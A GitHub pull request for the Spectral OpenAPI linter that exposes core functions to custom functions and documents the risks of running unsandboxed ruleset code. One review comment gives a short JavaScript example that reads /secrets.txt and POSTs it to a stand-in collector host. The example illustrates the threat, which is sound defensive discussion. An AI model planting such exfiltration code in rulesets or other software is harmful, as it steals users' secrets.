Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: expose available functions to custom functions #925

Merged
merged 3 commits into from
Mar 30, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 16 additions & 0 deletions docs/guides/custom-functions.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,22 @@

If the built-in functions are not enough for your [custom ruleset](../getting-started/rulesets.md), Spectral allows you to write and use your own custom functions.

Please, do keep in mind that for the time being, the code is **not** executed in a sandboxed environment, so be very careful when including external rulesets.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip From a user standpoint, what would be the potential risks? It might be interesting to list some of the most critical ones.

Copy link
Contributor

@marbemac marbemac Jan 26, 2020

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I imagine something like this?

const fs = require('fs');

const secrets = fs.readFile('/secrets.txt');

fetch('https://secret-collector.com', { method: 'post', body: secrets });

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip From a user standpoint, what would be the potential risks? It might be interesting to list some of the most critical ones.

We were planning to run that code in a sandboxed env, but that's not ready yet.

The risk depends on the environment Spectral is executed in.
We use vm for Node, but it's not supposed to run untrusted code.
It basically spins up a separate V8 isolate, but that's pretty much it.

In case of a browser... you have access to indexedb, local storage, so for instance auth info could be leaked if you use JWT and similar methods.

Copy link
Contributor

@nulltoken nulltoken Feb 16, 2020

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip Thanks for the detailed explanation. This doco update is interesting but may be a bit scary to the reader in its current form as it's a bit vague and not really actionable.

How would you feel about adding a couple of sentences about what could happen (eg. data/creds exfiltration, potential data tampering...), what kind of external rulesets they should be careful about (eg. those leveraging custom functions which aren't part of Spectral Core, ...), and what kind of actions should be taken (eg. reviewing the code of the functions to ensure nothing weirdo is being done, no shady obfuscated remote code is being "required" (cf. https://stackoverflow.com/a/23569631/335418), maybe considering "vendoring" external rulesets to protect against potential future evil changes...).

Thoughts?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Makes sense, I'll update it in a bit.
It's a similar case as with npm dependencies. You kind of trust them for the most of the time, but you should be careful during updates, etc.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added some! what do you think?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@P0lip very clear and straightforward. I like this very much! <3

This indicates that almost any arbitrary code can be executed.
Potential risks include:
- data / credentials infiltration,
- data tampering,
- running cpu-intensive tasks, i.e. crypto-mining.

While the risk is relatively low, you should be careful about including **external rulesets** you are not in charge of, in particular these that leverage custom functions.
You are strongly encouraged to review the custom functions a given ruleset provides.
What you should hunt for is:
- obfuscated code,
- calls untrusted external library,
- places where remote code is executed.

If you notice any weirdness, consider forking the ruleset and removal of any evil-looking code.

A custom function might be any JavaScript function compliant with [IFunction](https://github.com/stoplightio/spectral/blob/90a0864863fa232bf367a26dace61fd9f93198db/src/types/function.ts#L3#L8) type.

```ts
Expand Down
13 changes: 13 additions & 0 deletions src/__tests__/__fixtures__/custom-functions-oas-ruleset.json
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
"extends": ["spectral:oas"],
"functions": [
"truthy",
"validateBar",
"deepHasIn",
[
"hasIn",
Expand Down Expand Up @@ -60,6 +61,18 @@
"path": "/bar.get"
}
}
},
"validate-bar": {
"message": "`bar` property should be a string",
"given": "$",
"then": {
"function": "validateBar",
"functionOptions": {
"schema": {
"type": "string"
}
}
}
}
}
}
3 changes: 3 additions & 0 deletions src/__tests__/__fixtures__/functions/validateBar.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
module.exports = function(targetVal, opts, paths, otherValues) {
return 'bar' in targetVal ? this.functions.schema(targetVal.bar, opts, paths, otherValues) : void 0;
};
12 changes: 12 additions & 0 deletions src/__tests__/linter.jest.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -96,6 +96,18 @@ describe('Linter', () => {
]);
});

it('should expose all available functions to custom functions', async () => {
await spectral.loadRuleset(customDirectoryFunctionsRuleset);
expect(await spectral.run({ bar: 2 })).toEqual(
expect.arrayContaining([
expect.objectContaining({
code: 'validate-bar',
message: '`bar` property should be a string',
}),
]),
);
});

it('should report resolving errors for correct files', async () => {
spectral = new Spectral({ resolver: httpAndFileResolver });

Expand Down
42 changes: 29 additions & 13 deletions src/functions/index.ts
Original file line number Diff line number Diff line change
@@ -1,15 +1,31 @@
import { alphabetical } from './alphabetical';
import { casing } from './casing';
import { enumeration } from './enumeration';
import { falsy } from './falsy';
import { length } from './length';
import { pattern } from './pattern';
import { schema } from './schema';
import { schemaPath } from './schema-path';
import { truthy } from './truthy';
import { typedEnum } from './typedEnum';
import { undefined } from './undefined';
import { unreferencedReusableObject } from './unreferencedReusableObject';
import { xor } from './xor';

export const functions = {
alphabetical: require('./alphabetical').alphabetical,
casing: require('./casing').casing,
enumeration: require('./enumeration').enumeration,
length: require('./length').length,
pattern: require('./pattern').pattern,
falsy: require('./falsy').falsy,
schema: require('./schema').schema,
schemaPath: require('./schema-path').schemaPath,
truthy: require('./truthy').truthy,
undefined: require('./undefined').undefined,
xor: require('./xor').xor,
unreferencedReusableObject: require('./unreferencedReusableObject').unreferencedReusableObject,
typedEnum: require('./typedEnum').typedEnum,
alphabetical,
casing,
enumeration,
length,
pattern,
falsy,
schema,
schemaPath,
truthy,
undefined,
xor,
unreferencedReusableObject,
typedEnum,
};

export type CoreFunctions = typeof functions;
17 changes: 16 additions & 1 deletion src/rulesets/__tests__/evaluators.test.ts
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import { evaluateExport } from '../evaluators';
import { evaluateExport, setFunctionContext } from '../evaluators';

describe('Code evaluators', () => {
describe('Export evaluator', () => {
Expand Down Expand Up @@ -60,4 +60,19 @@ describe('Code evaluators', () => {
expect(() => evaluateExport(`this.returnExports = {}`, null)).toThrow();
});
});

describe('setFunctionContext', () => {
it('binds context to given function', () => {
const context = { a: true };
const fn = setFunctionContext(context, jest.fn().mockReturnThis());
expect(fn()).toStrictEqual({ a: true });
});

it('deep-copies provided context', () => {
const context = { a: true };
const fn = setFunctionContext(context, jest.fn().mockReturnThis());
const fn2 = setFunctionContext(context, jest.fn().mockReturnThis());
expect(fn()).not.toBe(fn2());
});
});
});
8 changes: 8 additions & 0 deletions src/rulesets/evaluators.ts
Original file line number Diff line number Diff line change
Expand Up @@ -147,5 +147,13 @@ export const compileExportedFunction = (
value: name,
});

Object.freeze(fn);
return fn;
};

export function setFunctionContext(context: unknown, fn: Function) {
return Function.prototype.bind.call(
fn,
Object.freeze(Object.defineProperties({}, Object.getOwnPropertyDescriptors(context))),
);
}
17 changes: 11 additions & 6 deletions src/spectral.ts
Original file line number Diff line number Diff line change
Expand Up @@ -7,10 +7,10 @@ import { memoize, merge } from 'lodash';
import { STATIC_ASSETS } from './assets';
import { Document, IDocument, IParsedResult, isParsedResult, ParsedDocument } from './document';
import { DocumentInventory } from './documentInventory';
import { functions as defaultFunctions } from './functions';
import { CoreFunctions, functions as coreFunctions } from './functions';
import * as Parsers from './parsers';
import { readRuleset } from './rulesets';
import { compileExportedFunction } from './rulesets/evaluators';
import { compileExportedFunction, setFunctionContext } from './rulesets/evaluators';
import { mergeExceptions } from './rulesets/mergers/exceptions';
import { IRulesetReadOptions } from './rulesets/reader';
import { DEFAULT_SEVERITY_LEVEL, getDiagnosticSeverity } from './rulesets/severity';
Expand All @@ -19,6 +19,7 @@ import {
FormatLookup,
FunctionCollection,
IConstructorOpts,
IFunctionContext,
IResolver,
IRuleResult,
IRunOpts,
Expand All @@ -39,7 +40,7 @@ export * from './types';
export class Spectral {
private readonly _resolver: IResolver;

public functions: FunctionCollection = { ...defaultFunctions };
public functions: FunctionCollection & CoreFunctions = { ...coreFunctions };
public rules: RunRuleCollection = {};
public exceptions: RulesetExceptionCollection = {};
public formats: RegisteredFormats;
Expand Down Expand Up @@ -110,7 +111,7 @@ export class Spectral {
public setFunctions(functions: FunctionCollection) {
empty(this.functions);

Object.assign(this.functions, { ...defaultFunctions, ...functions });
Object.assign(this.functions, { ...coreFunctions, ...functions });
}

public setRules(rules: RuleCollection) {
Expand Down Expand Up @@ -168,11 +169,15 @@ export class Spectral {
return fns;
}

fns[key] = compileExportedFunction(code, name, source, schema);
const context: IFunctionContext = {
functions: this.functions,
};

fns[key] = setFunctionContext(context, compileExportedFunction(code, name, source, schema));
return fns;
},
{
...defaultFunctions,
...coreFunctions,
},
),
);
Expand Down
5 changes: 5 additions & 0 deletions src/types/function.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,10 @@
import { JsonPath } from '@stoplight/types';
import { DocumentInventory } from '../documentInventory';
import { CoreFunctions } from '../functions';

export interface IFunctionContext {
functions: CoreFunctions;
}

export type IFunction<O = any> = (
targetValue: any,
Expand Down